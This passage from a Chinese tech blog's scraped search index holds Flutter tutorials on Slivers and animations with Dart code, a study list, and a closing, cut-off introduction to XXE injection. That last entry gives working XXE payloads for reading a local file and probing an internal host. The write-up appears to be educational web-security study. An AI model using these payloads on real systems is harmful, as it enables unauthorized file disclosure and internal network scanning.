​\t您肯定还记得ListView中，为了方面滚动条的定位和跳转，我们会通过ListView中的itemExtent属性来固定每一项在主轴上的长度，例如我们需要定位到第100个元素，只需要将其乘上对应的数即可。\n​\t这里的itemExtent属性不可以用列表内容Widget的widget或height属性替代，因为那样不会获得滚动条的性能优化。\n​\t在Sliver中我们需要使用SliverFixedExtentList来定义itemExtent属性，这样我们就可以让某些元素有固定的长度，另一些则不必。\n2.2 自适应的itemExtent——SliverPrototypeExtentList ​\t通常我们很难直接得到内容Widget的高度，例如字号可能会因为老年模式而改变，因此我们可以使用SliverPrototypeExtentList来动态确定其itemExtent.\n​\tSliverPrototypeExtentList需要一个prototypeItem属性，它只是用来测量内容在主轴上的高度，并不会真的渲染到屏幕上。当字号调整时，我们只要配置了prototypeItem属性，它就会自动重新计算其itemExtent.\n//自适应的itemExtent SliverPrototypeExtentList(delegate: delegate, prototypeItem: prototypeItem), 2.3 使用PageView——SliverFillViewport ​\t回想一下PageView组件——其中的每一个项目都会沾满整个屏幕，通过滑动来切换，通常我们可以用它来做软件的开屏教程。\n​\t在Sliver中，提供了一个叫做SliverFillViewport的组件，它也是PageView的底层原理。\n2.4 自动回缩的华丽导航条——SliverAppBar ​\t我们可以使用SliverAppBar制作一个华丽的动态导航条，首先我们要去掉Scaffold中的AppBar属性，并用下面的代码添加到CustomScrollView中：\nSliverAppBar( floating: true, //稍微一向下拉导航条就出现 snap: true, //title: Text(\u0026#34;111\u0026#34;), pinned: false,//不固定 expandedHeight: 100,//导航条高度 stretch: true,//使用更长的拉伸（flexibleSpace） flexibleSpace: FlexibleSpaceBar( background: FlutterLogo(size:100),//导航条中的背景 title: Text(\u0026#34;111\u0026#34;), //上缩效果 collapseMode: CollapseMode.parallax, //下拉效果 stretchModes: [ StretchMode.blurBackground, StretchMode.zoomBackground, StretchMode.fadeTitle ], ), ), 三、Sliver转换器 3.1 普通Widget的Sliver对应版本 例如：\nOpacity =\u0026gt; SliverOpacity\nAnimatedOpacity =\u0026gt;SilverAnimatedOpacity\n值得注意的是，SizedBox直接对应空的SliverToBoxAdapter()，也就是不传任何东西\n普通Widget基本都能找到其Sliver形式，可以直接用sliver属性嵌套（相当于普通Widget的child）属性。\n3.2 特殊Sliver SliverFillRemaining——占据当前视窗的剩余全部空间，但最多占满一整页。 注意：使用SliverLayoutBuilder可以自己作出一个SliverFillRemaining组件哦～ 完整实例：\nimport \u0026#39;package:flutter/material.dart\u0026#39;; void main() { runApp(const MyApp()); } class MyApp extends StatelessWidget { const MyApp({Key? key}) : super(key: key); @override Widget build(BuildContext context) { return MaterialApp( title: \u0026#39;Flutter Demo\u0026#39;, theme: ThemeData( primarySwatch: Colors.blue, ), home: const MyHomePage(title: \u0026#39;Flutter Demo Home Page\u0026#39;), ); } } class MyHomePage extends StatefulWidget { const MyHomePage({Key? key, required this.title}) : super(key: key); final String title; @override State\u0026lt;MyHomePage\u0026gt; createState() =\u0026gt; _MyHomePageState(); } class _MyHomePageState extends State\u0026lt;MyHomePage\u0026gt; { @override Widget build(BuildContext context) { return Scaffold( body: const CustomScrollView( slivers: [ SliverAppBar( floating: true, //稍微一向下拉导航条就出现 snap: true, //title: Text(\u0026#34;111\u0026#34;), pinned: false,//不固定 expandedHeight: 100,//导航条高度 stretch: true,//使用更长的拉伸（flexibleSpace） flexibleSpace: FlexibleSpaceBar( background: FlutterLogo(size:100),//导航条中的背景 title: Text(\u0026#34;111\u0026#34;), //上缩效果 collapseMode: CollapseMode.parallax, //下拉效果 stretchModes: [ StretchMode.blurBackground, StretchMode.zoomBackground, StretchMode.fadeTitle ], ), ), SliverToBoxAdapter(child: FlutterLogo(size: 100)), SliverToBoxAdapter(child: FlutterLogo(size: 100)), SliverToBoxAdapter(child: FlutterLogo(size: 100)), SliverFillRemaining( child:Center(\t//用加载圈填满剩余视口 child: CircularProgressIndicator(), ) ) ], ), ); } } 3.3 SliverAppBar原理——SliverPersistentHeader ​\t使用原理类似，\nSliverToBoxAdapter(), //防止SliverPersistentHeader成为最顶层的Sliver，以至于无法上拉刷新 SliverPersistentHeader( delegate: pinned: true,//像AppBar一样钉在最顶部 ) ","permalink":"https://widegram.com/2021/11/flutter-sliver/","summary":"一、初试Sliver 1.1 使用Sliver制作一个ListView ​\tListView的底层原理就是Sliver，我们可以用CustomScrollView先做出一个视窗（所谓视窗就是里面的内容比边框大），在其中使用SliverChildBuilderDelegate，而事实上，这也正是ListViewBuilder的底层做法。\nCustomScrollView(\t//定义一个视窗 slivers: [ SliverList(delegate: SliverChildBuilderDelegate((context, index) { return Container( height: 200, color: Colors.primaries[index%Colors.primaries.length], ); })) ], ) 1.2 更加灵活的ListView——加入任意Widget ​\t而使用Sliver，我们就可以实现更加灵活的功能，例如在顶部加入一个FlutterLogo：\nCustomScrollView( slivers: [ SliverToBoxAdapter(child: FlutterLogo(size:100),),\t//加入一个FlutterLogo SliverList( delegate: SliverChildBuilderDelegate((context, index) { //使用SliverChildBuilderDelegate实现动态加载（Builder） //delegate: SliverChildListDelegate对应不用Builder的ListView return Container( height: 200, color: Colors.primaries[index%Colors.primaries.length], ); })) ], ) 1.3 更加灵活的ListView——组合GridView ​\t我们也可以尝试组合GridView：\nCustomScrollView( slivers: [ /* 1. 用SliverToBoxAdapter包裹的普通Widget */ const SliverToBoxAdapter(child: FlutterLogo(size:100),), /* 2. 用SliverGrid表示的GridView */ SliverGrid( gridDelegate: const SliverGridDelegateWithFixedCrossAxisCount(crossAxisCount: 3), delegate: SliverChildBuilderDelegate((context, index) =\u0026gt; Container( color: Colors.","title":"Flutter Sliver组件全解"},{"content":"近期学习/了解的技术清单（2021.10） Elastic Search HBase MongoDB PaddleRec（及推荐系统原理） RocketMQ 网络安全（Web攻防） Dart Golang Goroutine专题 准备学习：Gofiber / Go Gin Flutter 2.5：myapp Demo Flutter动画专题 准备学习：Flutter Provider状态管理 Vue2 / Vue3 / Vuex 原理及语法 Swift 5.3 / SwiftUI WebSocket HTTPS原理（及其密码学原理） Git原理及指令 Makefile脚本语法 ","permalink":"https://widegram.com/2021/11/recent-work-2021-10/","summary":"近期学习/了解的技术清单（2021.10） Elastic Search HBase MongoDB PaddleRec（及推荐系统原理） RocketMQ 网络安全（Web攻防） Dart Golang Goroutine专题 准备学习：Gofiber / Go Gin Flutter 2.5：myapp Demo Flutter动画专题 准备学习：Flutter Provider状态管理 Vue2 / Vue3 / Vuex 原理及语法 Swift 5.3 / SwiftUI WebSocket HTTPS原理（及其密码学原理） Git原理及指令 Makefile脚本语法 ","title":"近期学习或了解的技术清单（2021.10）"},{"content":"底层自定义动画 3.1 Flutter动画原理 ​\tFlutter内部通过setState()函数刷新页面，且flutter优化得相当好，一秒执行60/120次也不会有卡顿。\n​\tTicker原理：屏幕每刷新一帧，称为一个ticker：\nTicker _ticker = Ticker((elapsed) { print(\u0026#34;Tick: $elapsed\u0026#34;);\t//elapsed是运行总时长 })..start(); ​\t你可以通过下列方式手动制作一个Ticker（仅作为实验用途，不推荐）：\ndouble _height = 300; @override void initState(){ Ticker _ticker = Ticker((_) =\u0026gt; setState((){ _height --; if(_height \u0026lt;= 0) _height = 300; }))..start(); super.initState(); } ​\t上述程序虽然可以运行，但首先，它没有考虑一些特殊情况，如程序暂时退出、切换到其他程序时，动画应该暂停。其次，每一帧时_height--，则在60帧的屏幕下该动画需要5秒执行完毕，而在120hz屏幕下只需要2.5秒。\n3.2 Hero动画（主动画） ​\t将需要做Hero动画的控件包裹上Hero，并给它一个tag属性，两个页面对应控件的tag一致。\n​\t如果两个页面中的控件样式不一致，或者类型不统一，那么会瞬间切换，不会有控件切换时的动画效果。\n3.3 CustomPaint ​\tTips：要使Container占满屏幕，使用\nContainer( constraints: BoxConstraints.expand(), //或者 width: double.infinity, height: double.infinity, ) 3.4 嵌入式Rive（Flare）插件动画 Rive New File\n","permalink":"https://widegram.com/2021/11/Flutter%E5%8A%A8%E7%94%BB%E5%85%A8%E8%A7%A3%EF%BC%88%E4%B8%89%EF%BC%89-%E5%BA%95%E5%B1%82%E8%87%AA%E5%AE%9A%E4%B9%89%E5%8A%A8%E7%94%BB/","summary":"底层自定义动画 3.1 Flutter动画原理 ​\tFlutter内部通过setState()函数刷新页面，且flutter优化得相当好，一秒执行60/120次也不会有卡顿。\n​\tTicker原理：屏幕每刷新一帧，称为一个ticker：\nTicker _ticker = Ticker((elapsed) { print(\u0026#34;Tick: $elapsed\u0026#34;);\t//elapsed是运行总时长 })..start(); ​\t你可以通过下列方式手动制作一个Ticker（仅作为实验用途，不推荐）：\ndouble _height = 300; @override void initState(){ Ticker _ticker = Ticker((_) =\u0026gt; setState((){ _height --; if(_height \u0026lt;= 0) _height = 300; }))..start(); super.initState(); } ​\t上述程序虽然可以运行，但首先，它没有考虑一些特殊情况，如程序暂时退出、切换到其他程序时，动画应该暂停。其次，每一帧时_height--，则在60帧的屏幕下该动画需要5秒执行完毕，而在120hz屏幕下只需要2.5秒。\n3.2 Hero动画（主动画） ​\t将需要做Hero动画的控件包裹上Hero，并给它一个tag属性，两个页面对应控件的tag一致。\n​\t如果两个页面中的控件样式不一致，或者类型不统一，那么会瞬间切换，不会有控件切换时的动画效果。\n3.3 CustomPaint ​\tTips：要使Container占满屏幕，使用\nContainer( constraints: BoxConstraints.expand(), //或者 width: double.infinity, height: double.infinity, ) 3.4 嵌入式Rive（Flare）插件动画 Rive New File","title":"Flutter动画全解（三）底层自定义动画——Hero、CustomPainter和Rive"},{"content":"显式动画——Transition系列（配合AnimationController） 2.1 循环旋转——RotationTransition ​\t我们需要使用RotationTransition配合AnimationController实现动画的手动控制，以实现隐式动画（Animated系列）无法完成的功能：循环重播、随时中断、多方协调等。\n​\t另外，要使用AnimationController，我们必须使用StatefulWidget，以使用生命周期函数initState()和dispose()。\n​\t我们先简单地看一个实例，在后文中，我们将详细解释其中的内容。\nimport \u0026#39;package:flutter/material.dart\u0026#39;; void main() =\u0026gt; runApp(MyApp()); class MyApp extends StatefulWidget { MyApp({Key? key}) : super(key: key); @override _MyAppState createState() =\u0026gt; _MyAppState(); } //SingleTickerProviderStateMixin用于垂直同步 class _MyAppState extends State\u0026lt;MyApp\u0026gt; with SingleTickerProviderStateMixin { late AnimationController _controller; bool _loading = false; @override void initState() { _controller = AnimationController( duration: const Duration(seconds: 1), vsync: this, ); super.initState(); } @override void dispose() { _controller.dispose(); //用完删除，否则内存泄漏 super.dispose(); } @override Widget build(BuildContext context) { return MaterialApp( home: Scaffold( body: Center( child: Container( width: 300, height: 120, color: Colors.blue, child: RotationTransition( turns: _controller, //这里直接使用controller即可，后文来解释 //这里的动画还没有开始，调用_controller.forward()开始 child: const Icon(Icons.repeat,size: 100), ), )), floatingActionButton: FloatingActionButton( child: const Icon(Icons.add), onPressed: () {\t//按一下按钮开始旋转，再按一下停止。 _loading ? _controller.stop() : _controller.repeat(); _loading = !_loading; }, ), )); } } 完成效果如下：\n2.2 AnimationController是什么 class AnimationController extends Animation\u0026lt;double\u0026gt; ​\t从本质上来说，AnimationController是一个Animation\u0026lt;double\u0026gt;，正如上面看到的那样，RotationTransition的turns属性本质上要求一个Animation。\n​\tAnimationController会在Duration时间内，生成0～1的double，如果要更改区间，使用lowerBound和upperBound属性。\n​\t示例代码：\nimport \u0026#39;package:flutter/material.dart\u0026#39;; void main() =\u0026gt; runApp(MyApp()); class MyApp extends StatefulWidget { MyApp({Key? key}) : super(key: key); @override _MyAppState createState() =\u0026gt; _MyAppState(); } //SingleTickerProviderStateMixin用于垂直同步，屏幕每次刷新，产生一个tick class _MyAppState extends State\u0026lt;MyApp\u0026gt; with SingleTickerProviderStateMixin { /* class AnimationController extends Animation\u0026lt;double\u0026gt; */ late AnimationController _controller; bool _loading = false; @override void initState() { _controller = AnimationController( duration: const Duration(seconds: 1), lowerBound: 0.0, //与默认一致，生成0-1 upperBound: 1.0, vsync: this, )..addListener(() { //dart语法：“..”表示返回值还是前面的表达式 // _controller.value 在1s内自动生成0～1之间的数字（1秒60帧） print(\u0026#34;${_controller.value}\u0026#34;); }); super.initState(); } @override void dispose() { _controller.dispose(); //用完删除，否则内存泄漏 super.dispose(); } @override Widget build(BuildContext context) { return MaterialApp( home: Scaffold( body: Center( child: Container( width: 300, height: 120, color: Colors.blue, //例如：RotateTransition、FadeTransition、ScaleTransition child: FadeTransition( opacity: _controller, //这里本质上要求一个Animation\u0026lt;double\u0026gt; child: const Icon(Icons.repeat, size: 100), ), )), floatingActionButton: FloatingActionButton( child: const Icon(Icons.add), onPressed: () { _loading ? _controller.stop() : _controller.repeat(reverse: true); _loading = !_loading; }, ), )); } } 2.3 控制器补间（Tween）和曲线 ​\t我们可以使用drive函数将Animation的值映射到Tween上，也就是说，最终生成的值是在0.5到1.0之间，而不是原来的0.0～1.0了。\nScaleTransition( scale: _controller.drive(Tween(begin: 0.5, end: 1.0)), ... ), ​\t又比如说，\nSlideTransition( position: _controller.drive(Tween(begin: Offset.zero, end: const Offset(0.1,0))), ... ), //等价于 SlideTransition( position: Tween(begin: Offset.zero, end: const Offset(0.1,0)).animate(_controller), ... ), ​\t通过使用chain函数，Tween之间可以叠加，比如，\nSlideTransition( position: Tween(begin: Offset.zero, end: const Offset(0,1.0)) .chain(CurveTween(curve: Curves.elasticOut)) //叠加曲线 .chain(CurveTween(curve: const Interval(0.5, 1.0))) //使用Interval，限制动画播放时间，从 50% 时间开始到 100% ，其他时间不做任何事 .animate(_controller), ... ), ​\t整体代码如下：\nimport \u0026#39;package:flutter/material.dart\u0026#39;; void main() =\u0026gt; runApp(MyApp()); class MyApp extends StatefulWidget { MyApp({Key? key}) : super(key: key); @override _MyAppState createState() =\u0026gt; _MyAppState(); } class _MyAppState extends State\u0026lt;MyApp\u0026gt; with SingleTickerProviderStateMixin { late AnimationController _controller; late bool _stop = false; @override void initState() { _controller = AnimationController( duration: const Duration(seconds: 1), vsync: this, )..repeat(); super.initState(); } @override void dispose() { _controller.dispose(); super.dispose(); } @override Widget build(BuildContext context) { return MaterialApp( home: Scaffold( body: Center( child: SlideTransition( position: Tween(begin: Offset.zero, end: const Offset(0,1.0)) .chain(CurveTween(curve: Curves.elasticOut)) //叠加曲线 .chain(CurveTween(curve: const Interval(0.5, 1.0))) //使用Interval，限制动画播放时间，从 50% 时间开始到 100% ，其他时间不做任何事 .animate(_controller), child: Container( width: 300, height: 120, color: Colors.blue, ))), floatingActionButton: FloatingActionButton( child: const Icon(Icons.add), onPressed: () { _stop ? _controller.repeat() : _controller.reset(); _stop = !_stop; }, ), )); } } 2.4 交错动画——Interval ​\t如上文，使用Interval可以限制播放时间，如此一来，作如下安排，达到五个组件间到交错动画：\n时间0.0～0.2运行第一个动画\n时间0.2～0.4运行第二个动画\n时间0.4～0.6运行第三个动画\n时间0.6～0.8运行第四个动画\n时间0.8～1.0运行第五个动画\n​\t使用Column控件将以上五个SlideTransition组织起来，并将它们绑定到同一个_controller即可（SlideTransition本身也是Widget）：\nclass SlideTransition extends AnimatedWidget { ... } 2.5 自定义动画——AnimatedBuilder ​\t通过自己动手制作FadeTransition，我们可以看出Transition系列控件的内部原理。同时也可以看到，就像TweenAnimationBuilder那样，使用AnimatedBuilder时我们也可以对动画进行优化，避免反复渲染那些与动画无关的Widget：\n//如何使用AnimatedBuilder制作出一个FadeTransition？ child: AnimatedBuilder( //每当animtion（_controller）的值变化，flutter就会重新调用builder函数 animation: _controller, //还记得builder就是复杂版的child吗？ builder: (context, child) { return Opacity( opacity: _controller.value,//这里可以用Tween制作补间动画 child: child ); }, //下面的child是用于优化 child: const Icon(Icons.repeat, size: 100) ), //这是内置的FadeTransition，使用起来更加简单，但是没有办法进行细致的绘制优化 child: FadeTransition( opacity: _controller, //这里本质上要求一个Animation\u0026lt;double\u0026gt; child: const Icon(Icons.repeat, size: 100), ), ​\t整体代码如下：\nimport \u0026#39;package:flutter/material.dart\u0026#39;; void main() =\u0026gt; runApp(MyApp()); class MyApp extends StatefulWidget { const MyApp({Key? key}) : super(key: key); @override _MyAppState createState() =\u0026gt; _MyAppState(); } class _MyAppState extends State\u0026lt;MyApp\u0026gt; with SingleTickerProviderStateMixin { late AnimationController _controller; @override void initState() { _controller = AnimationController( duration: const Duration(seconds: 2), vsync: this, )..repeat(); super.initState(); } @override void dispose() { _controller.dispose(); super.dispose(); } @override Widget build(BuildContext context) { final Animation opacityAnimation = Tween(begin: 0.5, end: 0.8).animate(_controller); return MaterialApp( home: Scaffold( body: Center( child: Container( width: 300, height: 300, color: Colors.red, child: AnimatedBuilder( animation: _controller, //每当\banimtion（_controller）的值变化，flutter就会重新调用builder函数 builder: (context, child) { //还记得builder就是复杂版的child吗？ return Opacity( opacity: opacityAnimation.value, //使用Tween制作补间 //需要注意的是这里的opacity是普通变量，所以需要使用Animation.value child: child ); }, //下面的child是用于优化 child: const Icon(Icons.repeat, size: 100) ))), floatingActionButton: FloatingActionButton( child: const Icon(Icons.add), onPressed: () {}, ), )); } } 2.6 使用多个Controller的例子——TickerProviderStateMixin ​\t有时我们会希望使用多个Controller（绝大多数情况下一个足矣），此时我们需要使用TickerProviderStateMixin。\nimport \u0026#39;package:flutter/material.dart\u0026#39;; void main() =\u0026gt; runApp(MyApp()); class MyApp extends StatefulWidget { const MyApp({Key? key}) : super(key: key); @override _MyAppState createState() =\u0026gt; _MyAppState(); } class _MyAppState extends State\u0026lt;MyApp\u0026gt; with TickerProviderStateMixin { late AnimationController _expansionController; late AnimationController _opacityController; @override void initState() { _expansionController = AnimationController(vsync: this); _opacityController = AnimationController(vsync: this); super.initState(); } @override void dispose() { _expansionController.dispose(); _opacityController.dispose(); super.dispose(); } @override Widget build(BuildContext context) { final Animation gradientAnimation = Tween(begin: 0.3, end: 1.0).animate(_expansionController); return MaterialApp( home: Scaffold( body: Center( child: FadeTransition( opacity: _opacityController.drive(Tween(begin: 1.0, end: 0.5)), child: AnimatedBuilder( animation: _expansionController, builder: (context, child) =\u0026gt; Container( width: 200, decoration: BoxDecoration( shape: BoxShape.circle, color: Colors.white, gradient: RadialGradient(colors: [ Colors.blue.shade500, Colors.grey.shade50 ], stops: [ gradientAnimation.value, gradientAnimation.value + 0.2 ]), ), ), ))), floatingActionButton: FloatingActionButton( child: const Icon(Icons.badge), onPressed: () async { _expansionController.duration = const Duration(seconds: 3); _expansionController.forward(); await Future.delayed(const Duration(seconds: 3)); _opacityController.duration = const Duration(seconds: 4); _opacityController.forward(); await Future.delayed(const Duration(seconds: 4)); _expansionController.duration = const Duration(seconds: 1); _expansionController.reverse(); }, ), )); } } ","permalink":"https://widegram.com/2021/11/Flutter%E5%8A%A8%E7%94%BB%E5%85%A8%E8%A7%A3%EF%BC%88%E4%BA%8C%EF%BC%89%E6%98%BE%E5%BC%8F%E5%8A%A8%E7%94%BB-Transition%E7%B3%BB%E5%88%97/","summary":"显式动画——Transition系列（配合AnimationController） 2.1 循环旋转——RotationTransition ​\t我们需要使用RotationTransition配合AnimationController实现动画的手动控制，以实现隐式动画（Animated系列）无法完成的功能：循环重播、随时中断、多方协调等。\n​\t另外，要使用AnimationController，我们必须使用StatefulWidget，以使用生命周期函数initState()和dispose()。\n​\t我们先简单地看一个实例，在后文中，我们将详细解释其中的内容。\nimport \u0026#39;package:flutter/material.dart\u0026#39;; void main() =\u0026gt; runApp(MyApp()); class MyApp extends StatefulWidget { MyApp({Key? key}) : super(key: key); @override _MyAppState createState() =\u0026gt; _MyAppState(); } //SingleTickerProviderStateMixin用于垂直同步 class _MyAppState extends State\u0026lt;MyApp\u0026gt; with SingleTickerProviderStateMixin { late AnimationController _controller; bool _loading = false; @override void initState() { _controller = AnimationController( duration: const Duration(seconds: 1), vsync: this, ); super.initState(); } @override void dispose() { _controller.dispose(); //用完删除，否则内存泄漏 super.dispose(); } @override Widget build(BuildContext context) { return MaterialApp( home: Scaffold( body: Center( child: Container( width: 300, height: 120, color: Colors.","title":"Flutter动画全解（二）显式动画——Transition系列"},{"content":" 隐式动画——Animated系列 1.1 快速开始——AnimatedContainer //原始main.dart import \u0026#39;package:flutter/material.dart\u0026#39;; void main() =\u0026gt; runApp(MyApp()); class MyApp extends StatelessWidget { MyApp({Key? key}) : super(key: key); @override Widget build(BuildContext context) { return MaterialApp( home: Scaffold( body: Container(\t//一个普普通通的Container width: 300, height: 300, color: Colors.blue, child: const Center( child: Text(\u0026#34;Hi\u0026#34;, style: TextStyle( fontSize: 72, )), ), ), )); } } //使用AnimatedContainer，并传入Duration，两行代码就可以动起来！ import \u0026#39;package:flutter/material.dart\u0026#39;; void main() =\u0026gt; runApp(const MyApp()); class MyApp extends StatelessWidget { const MyApp({Key? key}) : super(key: key); @override Widget build(BuildContext context) { return MaterialApp( home: Scaffold( body: Center( child: AnimatedContainer(\t//将Container换成AnimatedContainer duration: const Duration(seconds: 1),\t//同时加上duration参数即可 width: 300, height: 100, color: Colors.blue, child: const Center( child: Text(\u0026#34;Hi\u0026#34;,style: TextStyle(fontSize: 72)), ), ), ), ), ); } } ​\t这里，AnimatedContainer不能管理其child属性的变化，只能在其自身属性变化时产生动画。\n​\t值得一提的是，decoration属性是非常好用的，例如：\nAnimatedContainer( duration: const Duration(seconds: 1), width: 300, height: 300, //color: Colors.blue,\t//设置decoration属性后，color属性必须删除 decoration: BoxDecoration( gradient: const LinearGradient(\t//设置渐变色 begin: Alignment.bottomCenter, //橙色从底部中心开始 end: Alignment.topCenter, //白色从顶部中心开始 colors: [Colors.orange, Colors.white], stops: [0.5,0.7], //只在这个区间内设置动画效果 ), boxShadow: const [BoxShadow(spreadRadius: 5, blurRadius: 25)],\t//边框半径5，阴影半径25 borderRadius: BorderRadius.circular(150) //设置300/2=150，出现正圆形；设置0，变为方形 ), child: const Center( child: Text(\u0026#34;Hi\u0026#34;,style: TextStyle(fontSize: 72)), ), ), 最终效果图如上。\n1.2 在不同控件间切换——AnimatedSwitcher ​\tAnimatedSwitcher主要监控child属性，如果其child属性发生变化，则会在替换控件时添加过渡动画。如果child变为null，那么该控件将渐渐消失。\n​\tAnimatedSwitcher根据 1.child的属性 2.key属性 来判断控件是否变化。\nAnimatedSwitcher( transitionBuilder: (child, animation) { //自定义动画 //return FadeTransition(opacity: animation, child: child); //默认效果：透明度渐变 //return ScaleTransition(scale: animation, child: child); //缩放动画 return RotationTransition(turns: animation, child: child); //旋转动画 }, duration: const Duration(seconds: 1),\t//动画持续1秒 //child: CircularProgressIndicator(), child: Text(\u0026#34;h22i\u0026#34;, key: UniqueKey(), //每次都生成一个新的key，因此AnimatedSwitcher每次都会播放切换动画 style: const TextStyle(fontSize: 100) ), ) 在transitionBuilder中，也可以嵌套使用多种动画：\ntransitionBuilder: (child, animation) { //自定义动画 return FadeTransition( //不透明度渐变 + 旋转动画 的嵌套 opacity: animation, child: RotationTransition(turns: animation, child: child), //旋转动画 ); }, 如果你只有两个控件，要实现来回切换的效果，可以使用优化过后的AnimatedCrossFade控件。\n1.3 曲线——Curves.bounceOut AnimatedOpacity( duration: const Duration(seconds: 1), curve: Curves.bounceOut, //设置回弹曲线 opacity: 0, child: Container(width: 300, height: 300, color: Colors.blue), ), 可以多个Animated控件嵌套，例如：\nAnimatedPadding( duration: const Duration(seconds: 1), padding: const EdgeInsets.only(top: 200.0), curve: Curves.bounceOut, //设置回弹曲线，默认Curves.linear child: AnimatedOpacity( //AnimatedPadding中嵌套AnimatedOpacity，但动画会一同开始 duration: const Duration(seconds: 1), opacity: 0.5, child: Container(width: 300, height: 300, color: Colors.blue), ), ), 1.4 Animated还不够？自制补间动画——TweenAnimationBuilder 使用TweenAnimationBuilder和Tween来创建补间动画。\n//使用TweenAnimationBuilder自制一个AnimatedOpacity TweenAnimationBuilder( duration: const Duration(seconds: 1), //其中，begin的值只在开始时有效，后期如果修改了end，则会从当前状态（而不是begin）前往新的end //从begin到end期间，builder函数会被反复调用，反复渲染新的（含value）的控件 tween: Tween\u0026lt;double\u0026gt;(begin: 0.0, end: 0.5), //builder是复杂形式的child（如ListBuilder） builder: (BuildContext context, double value, Widget? child)=\u0026gt; Opacity( opacity: value,\t//value也就是tween自动生成的那个值（0.0-0.5之间） child: child //参数中的child不会被反复渲染，而会使用原来的child，达到一个优化的效果 ), child: Container( //这里的child（也就是直属于TweenAnimationBuilder的child）就是builder函数中的child //builder不会反复渲染这里的child，达到一个优化的效果 width: 300, height: 300, color: Colors.red, ), ), 使用Transform来定义变换：\n//旋转变换 TweenAnimationBuilder( duration: const Duration(seconds: 1), tween: Tween\u0026lt;double\u0026gt;(begin: 1.0, end: 6.0), //忽略begin，则此时begin=end，启动时动画不播放 builder: (BuildContext context, double value, Widget? child) =\u0026gt; Container( width: 300, height: 300, color: Colors.red, // * 任何平移旋转缩放操作都能用4*4矩阵表示 //Transform( transform: Matrix4.identity().translate(x), // * 或者使用 Transform.scale缩放 / .rotate旋转(angle:0-2pi) / .translate平移 child: Center(child: Transform.rotate(\t//旋转 angle: value, child: const Text(\u0026#34;Hi\u0026#34;,style: TextStyle(fontSize: 70)), ), ), ), ), //平移变换 TweenAnimationBuilder( duration: const Duration(seconds: 1), //tween中可以直接放置offset tween: Tween(begin: const Offset(0,0), end: const Offset(40,0)), builder: (BuildContext context, Offset value, Widget? child) =\u0026gt; Container( width: 300, height: 300, color: Colors.red, child: Center(child: Transform.translate(//平移操作 offset: value, child: const Text(\u0026#34;Hi\u0026#34;,style: TextStyle(fontSize: 70),), ), ), ), ), 1.5 计数器动画 实现的效果如下：\n代码：\nimport \u0026#39;package:flutter/material.dart\u0026#39;; void main() =\u0026gt; runApp(const MyApp()); class MyApp extends StatelessWidget { const MyApp({Key? key}) : super(key: key); @override Widget build(BuildContext context) { return MaterialApp( home: Scaffold( body: Center( child: Container( width: 300, height: 120, color: Colors.blue, child: const AnimatedCounter(4,duration: Duration(seconds: 1)), //使用滚动计数器 )))); } } //滚动计数器 class AnimatedCounter extends StatelessWidget { final int number; final Duration duration; const AnimatedCounter(this.number, {this.duration = const Duration(seconds: 1) ,Key? key}) : super(key: key); @override Widget build(BuildContext context) { return TweenAnimationBuilder( duration: duration, tween: Tween\u0026lt;double\u0026gt;(end: number.toDouble()), //调整end builder: (context, double? value, child) { final whole = value! ~/ 1; //整数部分 final decimal = value - whole; return Stack(children: [ _MyText(\u0026#34;$whole\u0026#34;, position: -100 * decimal, opacity: 1 - decimal), _MyText(\u0026#34;${whole + 1}\u0026#34;, position: 100 - decimal * 100, opacity: decimal), ]); }); } } class _MyText extends StatelessWidget { final String text; final double position; final double opacity; const _MyText(this.text, {required this.position, required this.opacity, Key? key}) : super(key: key); @override Widget build(BuildContext context) { return Positioned( child: Opacity( opacity: opacity, child: Text(text, style: const TextStyle(fontSize: 100)), ), top: position, ); } } ","permalink":"https://widegram.com/2021/11/Flutter%E5%8A%A8%E7%94%BB%E5%85%A8%E8%A7%A3%EF%BC%88%E4%B8%80%EF%BC%89%E9%9A%90%E5%BC%8F%E5%8A%A8%E7%94%BB-Animated%E7%B3%BB%E5%88%97/","summary":"隐式动画——Animated系列 1.1 快速开始——AnimatedContainer //原始main.dart import \u0026#39;package:flutter/material.dart\u0026#39;; void main() =\u0026gt; runApp(MyApp()); class MyApp extends StatelessWidget { MyApp({Key? key}) : super(key: key); @override Widget build(BuildContext context) { return MaterialApp( home: Scaffold( body: Container(\t//一个普普通通的Container width: 300, height: 300, color: Colors.blue, child: const Center( child: Text(\u0026#34;Hi\u0026#34;, style: TextStyle( fontSize: 72, )), ), ), )); } } //使用AnimatedContainer，并传入Duration，两行代码就可以动起来！ import \u0026#39;package:flutter/material.dart\u0026#39;; void main() =\u0026gt; runApp(const MyApp()); class MyApp extends StatelessWidget { const MyApp({Key? key}) : super(key: key); @override Widget build(BuildContext context) { return MaterialApp( home: Scaffold( body: Center( child: AnimatedContainer(\t//将Container换成AnimatedContainer duration: const Duration(seconds: 1),\t//同时加上duration参数即可 width: 300, height: 100, color: Colors.","title":"Flutter动画全解（一）隐式动画——Animated系列"},{"content":"XXE简介 XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素，其焦点是数据的内容，其把数据从HTML分离，是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection，即xml外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。 XML 与 HTML 的主要差异： XML 被设计为传输和存储数据，其焦点是数据的内容。 HTML 被设计用来显示数据，其焦点是数据的外观。 HTML 旨在显示信息 ，而 XML 旨在传输信息。\n漏洞利用 1.提交的数据包含XML格式如：\n\u0026lt;forgot\u0026gt;\u0026lt;username\u0026gt;admin\u0026lt;/username\u0026gt;\u0026lt;/forgot\u0026gt; 2.请求头中如： Content-Type：text/xml或Content-type:application/xml 文件读取：\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE Mikasa [ \u0026lt;!ENTITY test SYSTEM \u0026#34;file:///d:/www.txt\u0026#34;\u0026gt; ]\u0026gt; \u0026lt;user\u0026gt;\u0026lt;username\u0026gt;\u0026amp;test;\u0026lt;/username\u0026gt;\u0026lt;password\u0026gt;Mikasa\u0026lt;/password\u0026gt;\u0026lt;/user\u0026gt; 内网探针：\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE foo [ \u0026lt;!ELEMENT foo ANY \u0026gt; \u0026lt;!ENTITY rabbit SYSTEM \u0026#34;http://192.168.0.103:8081/index.txt\u0026#34; \u0026gt; ]\u0026gt; 